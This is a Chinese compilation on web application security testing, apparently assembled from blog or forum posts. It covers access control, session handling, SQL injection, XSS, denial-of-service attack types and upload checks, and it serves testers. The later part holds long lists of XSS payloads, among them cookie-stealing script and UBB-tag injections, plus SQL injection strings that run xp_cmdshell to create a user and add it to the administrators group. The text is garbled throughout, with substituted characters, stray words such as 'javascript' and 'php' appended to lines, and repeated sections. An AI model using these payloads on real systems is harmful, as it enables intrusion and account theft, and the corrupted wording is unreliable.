安全性测试javascript
安全性测试主要是测试系统在没有受权的内部或者外部用户对系统进行攻击或者恶意破坏时如何进行处理,是否仍能保证数据和页面的安全。测试人员能够学习一些黑客技术,来对系统进行攻击。另外,对操做权限的测试也包含在安全性测试中。具体测试内容以下:
执行添加、删除、修改等动做中是否作过登陆检测。
退出系统以后的操做是否能够完成。
全部插入表单操做中输入特殊字符是否能够正常输正常存储,特殊字符为:!?#¥%……—*()~——-+=[]{}、|;:‘”?/《》<>,。
在带有参数的回显数据的动做中更改参数,把参数改成特殊字符并加入操做语句看是否出错。
测试表单中有没有作标签检测,标签检测是否完整。
在插入表单中加入特殊的HTML代码,例如:<marquee>表单中的字本是否移动?</marquee>。php
系统安全性测试的十个重要问题css
1:没有被验证的输入html
测试方法:java
数据类型(字符串,整型,实数,等)python
容许的字符集程序员
最小和最大的长度web
是否容许空输入正则表达式
参数是不是必须的算法
重复是否容许
数值范围
特定的值(枚举型)
特定的模式(正则表达式)
2:有问题的访问控制
测试方法:
主要用于须要验证用户身份以及权限的页面,复制该页面的url地址,关闭该页面之后,查看是否能够直接进入该复制好的地址;
例:从一个页面链到另外一个页面的间隙能够看到URL地址,直接输入该地址,能够看到本身没有权限的页面信息;
3:错误的认证和会话管理
分析:账号列表:系统不该该容许用户浏览到网站全部的账号,若是必需要一个用户列表,推荐使用某种形式的假名(屏幕名)来指向实际的账号。
浏览器缓存:认证和会话数据做为GET的一部分来发送
认证和会话数据不该该做为GET的一部分来发送,应该使用POST,
例:对Grid、Label、Tree view类的输入框未做验证,输入的内容会按照html语法解析出来;
4:跨站脚本(XSS[D1] )
分析:攻击者使用跨站脚本[D2] 来发送恶意代码给没有发觉的用户,窃取他机器上的任意资料;
测试方法:
•HTML标签:<…>…</…>
•转义字符:&(&);<(<);>(>); (空格) ;
•脚本语言:
<scrīpt language=‘javascrīpt’>
…Alert(‘’)
</scrīpt>
•特殊字符:‘ ’ < > /
•最小和最大的长度
•是否容许空输入
例:对Grid、Label、Tree view类的输入框未做验证,输入的内容会按照html语法解析出来
5:缓冲区溢出
没有加密关键数据
分析:用户使用缓冲区溢出来破坏web应用程序的栈,经过发送特别编写的代码到web程序中,攻击者可让web应用程序来执行任意代码。
例:view-source:http地址能够查看源代码
在页面输入密码,页面显示的是 *****, 右键,查看源文件就能够看见刚才输入的密码;
6:注入式漏洞
分析:用户登陆处、不用登陆能够查看到的数据库中的数据列表尤其重要。
例:一个验证用户登录的页面,若是使用的sql语句为:
Select * from table A where username=’’ + username+’’ and pass word ….
Sql 输入
‘ or 1=1 ――
就能够不输入任何password进行攻击;
7:不恰当的异常处理
分析:程序在抛出异常的时候给出了比较详细的内部错误信息,暴露了不该该显示的执行细节,网站存在潜在漏洞;
8:不安全的存储
没有加密关键数据
分析:账号列表:系统不该该容许用户浏览到网站全部的账号,若是必需要一个用户列表,推荐使用某种形式的假名(屏幕名)来指向实际的账号。
浏览器缓存:认证和会话数据不该该做为GET的一部分来发送,应该使用POST;
例:view-source:http地址能够查看源代码
在页面输入密码,页面不显示 “*****”;
在页面输入密码,页面显示的是 *****,
数据库中存的密码没有通过加密;
地址栏中能够看到刚才填写的密码;
右键查看源文件就能够看见刚才输入的密码;
9:拒绝服务
分析:Config中的连接字符串以及用户信息,邮件,数据存储信息都须要加以保护。攻击者能够从一个主机产生足够多的流量来耗尽狠多应用程序,最终使程序陷入瘫痪。须要作负载均衡来对付。
10:不安全的配置管理
分析:Config中的连接字符串以及用户信息,邮件,数据存储信息都须要加以保护
程序员应该做的:配置全部的安全机制,关掉全部不使用的服务,设置角色权限账号,使用日志和警报。
例:数据库的账号是否是默认为“sa”,密码(还有端口号)是否是直接写在配置文件里而没有进行加密。
软件安全测试涉及的方面
2.
用户名和密码
是否设置密码最小长度
用户名和密码中是否能够有空格或回车?
是否容许密码和用户名一致
防恶意注册:能否用自动填表工具自动注册用户?
遗忘密码处理
有完好省的超级用户?
有无超级密码?
l
是否有校验码?
密码错误次数有无限制?
3.
直接输入须要权限的网页地址能够访问
如:没有登陆或注销登陆后,直接输入登陆后才能查看的页面的网址,能直接打开页面;
注销后,点浏览器上的后退,能够进行操做。
正常登陆后,直接输入本身没有权限查看的页面的网址,能够打开页面。
5.
隐藏域与CGI参数
分析:有此隐藏域中泄露了重要的信息,有时还能够暴露程序原代码。
直接修改CGI参数,就能绕过客户端的验证了。
如:<input type="hidden" name="h" value="http://XXX/checkout.php">
只要改变value的值就可能会把程序的原代码显示出来。
6.
上传文件没有限制
分析:上传文件最好要有格式的限制;
上传文件还要有大小的限制。
7.
把数据验证寄但愿于客户端的验证
分析:客户端是不安全,重要的运算和算法不要在客户端运行。
重要的数据(如:密码)在客户端应该加密。
例:保存网页并对网页进行修改,使其绕过客户端的验证。(如只能选择的下拉框,对输入数据有特殊要求的文本框)
13. 传输中的密码没有加密
分析:传输中的密码要进行加密。
传输前加密用SSL加密,https的方式提交用户名和密码;
若是使用tomcat作服务器的话,SSL加密只需配置就能够了:
TOMCAT用https替换http的方法
//////////////////////////////////////////////////////////////
首先用java的工具keytool 生成一个ssl证书:
keytool -genkey -keyalg RSA -alias youraliasname -keystore .keystore
输入keystore密码: yourpass
您的名字与姓氏是什么?
[Unknown]: liubin
您的组织单位名称是什么?
[Unknown]: test
您的组织名称是什么?
[Unknown]: www.test.com
您所在的城市或区域名称是什么?
[Unknown]: beijing
您所在的州或省份名称是什么?
[Unknown]: beijing
该单位的两字母国家代码是什么
[Unknown]: cn
CN=liubin, OU=test, O=www.test.com, L=beijing, ST=beijing, C=cn 正确吗?
[否]: y
输入<CidSoftKey>的主密码
(若是和 keystore 密码相同,按回车):
Web应用系统的安全性测试区域主要有:
(1)如今的Web应用系统基本采用先注册,后登录的方式。所以,必须测试有效和无效的用户名和密码,要注意到是否大小写敏感,能够试多少次的限制,是否能够不登录而直接浏览某个页面等。
(2)Web应用系统是否有超时的限制,也就是说,用户登录后在必定时间内(例如15分钟)没有点击任何页面,是否须要从新登录才能正常使用。
(3)为了保证Web应用系统的安全性,日志文件是相当重要的。须要测试相关信息是否写进了日志文件、是否可追踪。
(4)当使用了安全套接字时,还要测试加密是否正确,检查信息的完整性。
(5)服务器端的脚本经常构成安全漏洞,这些漏洞又经常被黑客利用。因此,还要测试没有通过受权,就不能在服务器端放置和编辑脚本的问题。
咱们以为楼上的象是测试论坛或者须要登录的网站呢
我就顺着加几条吧:
1。登录系统,点击退出系统,或者注销,而后点击IE的退出,看看可否再次登录,这个对于安全也比较须要,主要测试的是退出系统后,对cok0kies
2。若是你的系统,客户端比较多,那么就要判断一个用户可否同时在不一样的机器上登录
3。使用了加密的软件,WEB系统运行后,加密软件异常,包括关闭,退出,此时你的WEb系统安全怎么处理
4。你的WEB系统的教本信息是否会反应一些你的数据库信息,如,当前页面涉及了你的数据库里的那些表啦,等等。
6、安全测试
Web应用系统的安全性测试区域主要有:
一、 目录设置
Web 安全的第一步就是正确设置目录。每一个目录下应该有 index.html 或 main.html 页面,这样就不会显示该目录下的全部内容。若是没有执行这条规则。那么选中一幅图片,单击鼠标右键,找到该图片所在的路径"…com/objects/images"。而后在浏览器地址栏中手工输入该路径,发现该站点全部图片的列表。这可能没什么关系。可是进入下一级目录 "…com/objects" ,点击 jackpot。在该目录下有不少资料,其中有些都是已过时页面。若是该公司每月都要更改产品价格信息,而且保存过时页面。那么只要翻看了一下这些记录,就能够估计他们的边际利润以及他们为了争取一个合同还有多大的降价空间。若是某个客户在谈判以前查看了这些信息,他们在谈判桌上确定处于上风。
2.登陆
如今的Web应用系统基本采用先注册,后登录的方式。所以,必须测试有效和无效的用户名和密码,要注意到是否大小写敏感,能够试多少次的限制,是否能够不登录而直接浏览某个页面等。
3.Session
Web应用系统是否有超时的限制,也就是说,用户登录后在必定时间内(例如15分钟)没有点击任何页面,是否须要从新登录才能正常使用。
4.日志文件
为了保证Web应用系统的安全性,日志文件是相当重要的。须要测试相关信息是否写进了日志文件、是否可追踪。
5.加密
当使用了安全套接字时,还要测试加密是否正确,检查信息的完整性。
6.安全漏洞
服务器端的脚本经常构成安全漏洞,这些漏洞又经常被黑客利用。因此,还要测试没有通过受权,就不能在服务器端放置和编辑脚本的问题。
目前网络安全问题日益重要,特别对于有交互信息的网站及进行电子商务活动的网站尤为重要。目前咱们的测试没有涵盖网站的安全性的测试,咱们拟定采用工具来测定,
工具以下
SAINT------- Security Administrator’s Integrated Network Tool
此工具可以测出网站系统的相应的安全问题,而且可以给出安全漏洞的解决方案,不过是一些较为常见的漏洞解决方案。
应用系统安全测试方法及内容
测试内容 |
测试要点 |
测试方法 |
应用系统的用户管理、权限管理应充分利用操做系统和数据库的安全性;应用软件运行时须有完整的日志记录。 |
日志记录的完整性 |
检测系统运行时是否会记录完整的日志。如进行详单查询,检测系统是否会记录相应的操做员、操做时间、系统状态、操做事项、IP地址等。 |
不容许以明文方式保存用户密码或系统使用的各种密码 |
用户密码或系统使用的各种密码的加密存储 |
检查数据库中的用户密码、操做员密码等字段是不是以加密方式保存。 |
为保证安全性,口令不容许以明码的形式显示在输出设备上,应能对口令进行以下限制:最小口令长度、强制修改口令的时间间隔、口令的惟一性、口令过时失效后容许入网的宽限次数。 |
1.口令不容许以明码显示在输出设备上。 2.最小口令长度的限制。 3.强制修改的时间间隔限制。 4.口令的惟一性限制。 5.口令过时失效后容许入网的宽限次数限制 |
实际登陆系统,输入相应的口令,检测口令是不是以加密形式显示,同时检测最小口令长度、强制修改口令的时间间隔、口令的惟一性、口令过时失效后容许入网的宽限次数。 |
应用系统应支持操做失效时间的配置,当操做员在所配置的时间内没有对界面进行任何操做则该应用自动失效。 |
1.支持操做失效时间的配置。 2.支持当操做员在所配置的时间内没有对界面进行任何操做则该应用自动失效。 |
检测系统是否支持操做失效时间的配置,同时达到所配置的时间内没有对界面进行任何操做时,检测系统是否会将用户自动失效,须要从新登陆系统。 |
应用系统应提供完善的审计功能,对系统关键数据的每一次增长、修改和删除都能记录相应的修改时间、操做人和修改前的数据记录。 |
支持系统关键数据进行维护的记录功能。 |
检测对系统关键数据进行增长、修改和删除时,系统是否会记录相应的修改时间、操做人员和修改前的数据记录。 |
应用程序的源代码不容许放在运行主机上,应另行存放,并具备版本控制能力。 |
1.应用程序的源代码不容许放在运行主机上,应另行存放。 2.版本控制 |
1.登陆主机审查应用程序的源代码存放位置。 2.查看支撑系统版本控制管理办法或类似文件,是否有相应的版本管理规章制度;软件升级、补丁植入流程管理是否合理。 3.查看系统软件版本记录文件及软件介质与软件操做手册,是否有详细的软件版本号、软件升级与补丁植入状况的记录。 |
各应用软件目录设置及其访问权限应有相应的规范,以保证系统的安全性和可维护性。 |
各应用软件目录设置及其访问权限应有相应的规范。 |
审查是否有各应用软件目录设置及其访问权限相应的规范文件。 |
接口程序链接登陆必须进行认证(根据用户名、密码认证) |
支持接口程序链接登陆时的认证。 |
实际运行系统,检测接口程序链接登陆时,是否须要输入相应的用户名、密码进行认证。 |
安全性测试
一、功能验证
功能验证是采用软件测试当中的黑盒测试方法,对涉及安全的软件功能,如:用户管理模块,权限管理模块,加密系统,认证系统等进行测试,主要验证上述功能是否有效,具体方法可以使用黑盒测试方法。
二、漏洞扫描
安全漏洞扫描一般都是借助于特定的漏洞扫描器完成的。漏洞扫描器是一种自动检测远程或本地主机安全性弱点的程序。经过使用漏洞扫描器,系统管理员可以发 现所维护信息系统存在的安全漏洞,从而在信息系统网络安全保卫站中作到“有的放矢”,及时修补漏洞。按常规标准,能够将漏洞扫描分为两种类型:主机漏洞扫 描器(Host Scanner)和网络漏洞扫描器(Net Scanner)。主机漏洞扫描器是指在系统本地运行检测系统漏洞的程序,如著名的COPS、Tripewire、Tiger等自由软件。网络漏洞扫描器 是指基于网络远程检测目标网络和主机系统漏洞的程序,如Satan、ISS Internet Scanner等。
安全漏洞扫描是能够用于平常安全防御,同时能够做为对软件产品或信息系统进行测试的手段,能够在安全漏洞形成严重危害前,发现漏洞并加以防范。
三、模拟攻击实验
对于安全测试来 说,模拟攻击测试是一组特殊的黑盒测试案例,咱们以模拟攻击来验证软件或信息系统的安全防御能力,下面简要列举在数据处理与数据通讯环境中特别关心的几种 攻击。在下列各项中,出现了“受权”和“非受权”两个术语。“受权”意指“授予权力”,包含两层意思:这里的权力是指进行某种活动的权力(例如访问数 据);这样的权力被授予某个实体、代理人或进程。因而,受权行为就是履行被授予权力(未被撤销)的那些活动。
● 冒充:就是一个实体伪装成一个不一样的实体。冒充常与某些别的主动攻击形式一块儿使用,特别是消息的重演与篡改。例如,截获鉴别序列,并在一个有效的鉴别序列使用过一次后再次使用。特权不多的实体为了获得额外的特权,可能使用冒充成具备这些特权的实体,举例以下。
1) 口令猜想:一旦黑客识别了一台主机,并且发现了基于NetBIOS、Telnet或NFS服务的可利用的用户账号,并成功地猜想出了口令,就能对机器进行控制。
2) 缓冲区溢出:因为在不少地服务程序中大意的程序员使用相似于“strcpy(),strcat()”不进行有效位检查的函数,最终可能致使恶意用户编写一 小段程序来进一步打开安全缺口,而后将该代码放在缓冲区有效载荷末尾,这样,当发生缓冲区溢出时,返回指针指向恶意代码,执行恶意指令,就能够获得系统的 控制权。
● 重演:当一个消息或部分消息为了产生非受权效果而被重复时,出现重演。例如,一个含有鉴别信息的有效消息可能被另外一个实体所重演,目的是鉴别它本身(把它看成其余实体)。
● 消息篡改:数据所传送的内容被改变而未被发觉,并致使非受权后果,以下所示。
1) DNS高速缓存污染:因为DNS服务器与其余名称服务器交换信息的时候并不进行身份验证,这就使得黑客能够加入不正确得信息,并把用户引向黑客本身的主机。
2) 伪造电子邮件:因为SMTP并不对邮件发送者的身份进行鉴定,所以黑客能够对内部客户伪造电子邮件,声称是来自某个客户认识并相信的人,并附上可安装的特洛伊木马程序,或者是一个指向恶意网站的连接。
● 服务拒绝:当一个实体不能执行它的正常功能,或它的动做防碍了别的实体执行它们的正常功能的时候,便发生服务拒绝。这种攻击多是通常性的,好比一个实体 抑制全部的消息,也多是有具体目标的。例如,一个实体抑制全部流向某一特定目的端的消息,如安全审计服务。这种攻击能够是对通讯业务流的抑制,或产生额 外的通讯业务流。也可能制造出试图破坏网络操做的消息,特别是若是网络具备中继实体,这些中继实体根据从别的中继实体那里接收到的状态报告,来作出路由选择的决定。拒绝服务攻击种类不少,举例以下。
1) 死亡之ping(ping of death):因为在早期的阶段,路由器对包的最大尺寸都有限制,许多操做系统对TCP/IP栈的实如今ICMP包上都规定为64KB,而且在读取包的标题后,要根据该标题头里包含的信息来为有效载荷生成缓冲区。当产生畸形的、声称本身的尺寸超过ICMP上限,也就是加载尺寸超过64K上限的包时,就会出 现内存分配错误,致使TCP/IP堆栈崩溃,导致接受方宕机。
2) 泪滴(Teardorop):泪滴攻击利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现本身的攻击。IP分段含有指示该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括Service Pack 4之前的NT)在收到含有重叠偏移的伪造分段时将崩溃。
3) UDP洪水(UDP Flood): 各类各样的假冒攻击利用简单的TCP/IP服务,如Chargen和Echo来传送毫无用处的数据以占满带宽。经过伪造与某一主机的Chargen服务之间的一次的UDP链接,回复地址指向开着Echo服务的一台主机,这样就生成在两台主机之间的足够多的无用数据流,若是数据流足够多,就会致使带宽的服务攻击。
4) SYN洪水(SYN Flood):一些TCP/IP栈的实现,只能等待从有限数量的计算机发来的ACK消息,由于它们只有有限的内存缓冲区用于建立链接,若是这一缓冲区充满 了虚假链接的初始信息,该服务器就会对接下来的链接请求中止响应,直到缓冲区里的链接企图超时为止。在一些建立链接不受限制的实现里,SYN洪水也具备类 似的影响。
5) Land攻击:在Land攻击中,一个特别打造的SYN包的原地址和目标地址都被设置成某一个服务器地址,这将致使接受服务器向它本身的地址发送SYN- ACK消息,结果,这个地址又发回ACK消息并建立一个空链接,每个这样的链接都将保留,直到超时。各类系统对Land攻击的反应不一样,许多UNIX实 现将崩溃,NT变得极其缓慢(大约持续5分钟)。
6) Smurf攻击:一个简单的Smurf攻击,经过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机的方式进 行,最终致使该网络的全部主机都对此ICMP应答请求做出答复,致使网络阻塞,比“Ping of Death”洪水的流量高出一个或两个数量级。更加复杂的Smurf将源地址改成第三方的受害者,最终致使第三方雪崩。
7) Fraggle攻击:Fraggle攻击对Smurf攻击做了简单的修改,使用的是UDP应答消息,而非ICMP。
8) 电子邮件炸弹:电子邮件炸弹是最古老的匿名攻击之一,经过设置一台机器,不断大量地向同一地址发送电子邮件,攻击者可以耗尽接收者网络的带宽。
9) 畸形消息攻击:各种操做系统上的许多服务都存在此类问题,因为这些服务在处理信息以前没有进行适当正确的错误校验,在收到畸形的信息时可能会崩溃。
● 内部攻击:当系统的合法用户以非故意或非受权方式进行动做时就成为内部攻击。多数已知的计算机犯罪都和使系统安全遭受损害的内部攻击有密切的关系。能用来 防止内部攻击的保护方法包括:全部管理数据流进行加密;利用包括使用强口令在内的多级控制机制和集中管理机制来增强系统的控制能力;为分布在不一样场所的业务部门划分VLAN,将数据流隔离在特定部门;利用防火墙为进出网络的用户提供认证功能,提供访问控制保护;使用安全日志记录网络管理数据流等。
● 外部攻击:外部攻击能够使用的方法有:搭线(主动的与被动的)、截取辐射、冒充为系统的受权用户、冒充为系统的组成部分、为鉴别或访问控制机制设置旁路等。
● 陷阱门:当系统的实体受到改变,导致一个攻击者能对命令或对预约的事件或事件序列产生非受权的影响时,其结果就称为陷阱门。例如,口令的有效性可能被修改,使得除了其正常效力以外也使攻击者的口令生效。
● 特洛伊木马:对系统而言的特洛伊木马,是指它不但具备本身的受权功能,并且还有非受权功能。一个向非受权信道拷贝消息的中继就是一个特洛伊木马。典型的特洛伊木马有NetBus、BackOrifice和BO2k等。
四、侦听技术
侦听技术其实是在数据通讯或数据交互过程,对数据进行截取分析的过程。目前最为流行的是网络数据包的捕获技术,一般咱们称为Capture,黑客能够利用该项技术实现数据的盗用,而测试人员一样能够利用该项技术实现安全测试。
该项技术主要用于对网络加密的验证。
安全性测试
安全性测试是有关验证应用程序的安全服务和识别潜在安全性缺陷的过程。此节包括一些重要的测试建议,用来验证已建立安全的应用程序。
因为攻击者没有闯入的标准方法,于是也没有实施安全性测试的标准方法。另外,目前几乎没有可用的工具来完全测试各个安全方面。因为应用程序中的功能错误也可表明潜在的安全性缺陷,所以在实施安全性测试之前须要实施功能测试。
有一点很重要,应注意安全性测试并不最终证实应用程序是安全的。而是只用于验证所设立对策的有效性,这些对策是基于威胁分析阶段所作的假设而选择的。
下面提供测试应用程序安全性的一些建议。
测试缓冲区溢出
缓冲区溢出是计算机历史中被利用的第一批安全错误之一。目前,缓冲区溢出继续是最危险也是最常发生的弱点之一。试图利用这种脆弱性能够致使种种问题,从损坏应用程序到攻击者在应用程序进程中插入并执行恶意代码。
将 数据写入缓冲区时,开发人员向缓冲区写入的数据不能超出其所能存放的数据。若是正在写入的数据量超出已分配的缓冲区空间,将发生缓冲区溢出。当发生缓冲区 溢出时,会将数据写入到可能为其余用途而分配的内存部分中。最坏的情形是缓冲区溢出包含恶意代码,该代码随后被执行。缓冲区溢出在致使安全脆弱性方面所占 的百分比很大。
实施源代码安全检查
根据所讨论应用程序的敏感程度,实施对应用程序源代码的安 全审核多是明智的。不要将源代码审核与代码检查相混淆。标准代码检查的目的是识别影响代码功能的通常代码缺陷。源代码安全检查的目的则是识别有意或无心 的安全性缺陷。开发处理财政事务或提供公共安全的应用程序时尤为应保证进行这种检查。
验证应急计划
老是存在应用程序的安全防护被突破的潜在可能,只有应急计划就位并有效才是明智的。在应用程序服务器或数据中心检测到病毒时将采起哪些步骤?安全性被越过期,必须迅速做出反应来防止进一步损坏。在应急计划投入实战之前请弄清它们是否起做用。
攻击您的应用程序
测试人员习惯于攻击应用程序以试图使其失败。攻击您本身的应用程序是与其相似但目的更集中的过程。尝试攻击应用程序时,应寻找表明应用程序防护弱点的、可利用的缺陷。
Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不许备介绍全部的,只介绍常见、比较常见和有点常见这种级别的。我相信从Web应用安全角度来讲,会比你从网上搜的要全面的多。如下是这些安全性问题的列表:
1、跨站脚本攻击(CSS or XSS, Cross Site Scripting)
2、SQL注入攻击(SQL injection)
3、远程命令执行(Code execution,我的以为译成代码执行并不确切)
4、目录遍历(Directory traversal)
5、文件包含(File inclusion)
6、脚本代码暴露(Script source code disclosure)
7、Http请求头的额外的回车换行符注入(CRLF injection/HTTP response splitting)
8、跨帧脚本攻击(Cross Frame Scripting)
9、PHP代码注入(PHP code injection)
10、XPath injection
11、Cookie篡改(Cookie manipulation)
12、URL重定向(URL redirection)
13、Blind SQL/XPath injection for numeric/String inputs
14、Google Hacking
Web Application Security Consortium(WASC)将Web应用安全威胁分为以下六类:
1 Authentication(验证)
用来确认某用户、服务或是应用身份的攻击手段。
2 Authorization(受权)
用来决定是否某用户、服务或是应用具备执行请求动做必要权限的攻击手段。
3 Client-Side Attacks(客户端攻击)
用来扰乱或是探测 Web 站点用户的攻击手段。
4 Command Execution(命令执行)
在 Web 站点上执行远程命令的攻击手段。
5 Information Disclosure(信息暴露)
用来获取 Web 站点具体系统信息的攻击手段。
6 Logical Attacks(逻辑性攻击)
用来扰乱或是探测 Web 应用逻辑流程的攻击手段。
创建总体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和受权错误.
客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,恰好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不一样类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不只对比其与问题最终页的回答数,还要对回答进行添加删除等操做后查看变化
例如:
1.输入<html”>”gfhd</html>,看是否出错;
2.输入<input type=”text” name=”user”/>,看是否出现文本框;
3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
关于上传:
1.上传文件是否有格式限制,是否能够上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否致使异常错误,上传0K的文件是否会致使异常错误,上传并不存在的文件是否会致使异常错误;
3.经过修改扩展名的方式是否能够绕过格式限制,是否能够经过压包方式绕过格式限制;
4.是否有上传空间的限制,是否能够超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程当中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
下载:
关于URL:
1.某些需登陆后或特殊用户才能进入的页面,是否能够经过直接输入网址的方式进入;
2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否能够非法进入某些页面;
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
4.输入善意字符。
UBB:
[url=http://www.****.com] 你的网站[/url]
1.试着用各类方式输入UBB代码,好比代码不完整,代码嵌套等等.
2.在UBB代码中加入属性,如样式,事件等属性,看是否起做用
3.输入编辑器中不存在的UBB代码,看是否起做用
[url=javascript:alert('hello')]连接[/url]
[email=javascript:alert('hello')]EMail[/email]
[email=yangtao@rising.com.cn STYLE="background-image: url(javascript:alert('XSS'))"]yangtao@rising.com.cn[/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
经常使用的测试输入语句有:
<input type="text"/>
<input/>
<input/
<script>alert('hello');</script>
1.jpg" onmouseover="alert('xss')
"></a><script>alert(‘xss’);</script>
http://xxx';alert('xss');var/ a='a
‘”>xss&<
a=”\” ; b=”;alert(/xss/);//”
<img src=“输出内容” border=“0” alt=“logo” />
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
对输出数据到输出数据的对比,看是否出现问题。
Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
简单的如where xtype=’U’,字符U对应的ASCII码是85,因此能够用where xtype=char(85)代替;若是字符是中文的,好比where name=’用户’,能够用where name=nchar(29992)+nchar(25143)代替。
对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss')</script>
★<script>alert('xss');</script>
★</script><script>alert(‘xss’)</script>
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★<img src="#" onerror=alert(/xss/)>
★<img src="#" style="Xss:expression(alert(/xss/));">
★<img src="#"/**/onerror=alert(/xss/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss')
★"></a><script>alert(‘xss’);</script>
★http://xxx';alert('xss');var/ a='a
★’”>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;
http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX
同个浏览器打开两个页面,一个页面权限失效后,另外一个页面是否可操做成功。
当页面没有CHECKCODE时,查看页面源代码,查是是否有token。若是页面彻底是展现页面,是不会有token的。
1、 用户注册
只从用户名和密码角度写了几个要考虑的测试点,若是需求中明确规定了安全问题,Email,出生日期,地址,性别等等一系列的格式和字符要求,那就都要写用例测了~
以等价类划分和边界值法来分析
1.填写符合要求的数据注册: 用户名字和密码都为最大长度(边界值分析,取上点)
2.填写符合要求的数据注册 :用户名字和密码都为最小长度(边界值分析,取上点)
3.填写符合要求的数据注册:用户名字和密码都是非最大和最小长度的数据(边界值分析,取内点)
4.必填项分别为空注册
5.用户名长度大于要求注册1位(边界值分析,取离点)
6.用户名长度小于要求注册1位(边界值分析,取离点)
7.密码长度大于要求注册1位(边界值分析,取离点)
8.密码长度小于要求注册1位(边界值分析,取离点)
9.用户名是不符合要求的字符注册(这个能够划分几个无效的等价类,通常写一两个就好了,如含有空格,#等,看需求是否容许吧~)
10.密码是不符合要求的字符注册(这个能够划分几个无效的等价类,通常写一两个就好了)
11.两次输入密码不一致(若是注册时候要输入两次密码,那么这个是必须的)
12.从新注册存在的用户
13.改变存在的用户的用户名和密码的大小写,来注册。(有的需求是区分大小写,有的不区分)
14.看是否支持tap和enter键等;密码是否能够复制粘贴;密码是否以* 之类的加秘符号显示
备注:边界值的上点、内点和离点你们应该都知道吧,呵呵,这里我就不细说了~~
2、 修改密码
固然具体状况具体分析哈~不能一律而论~
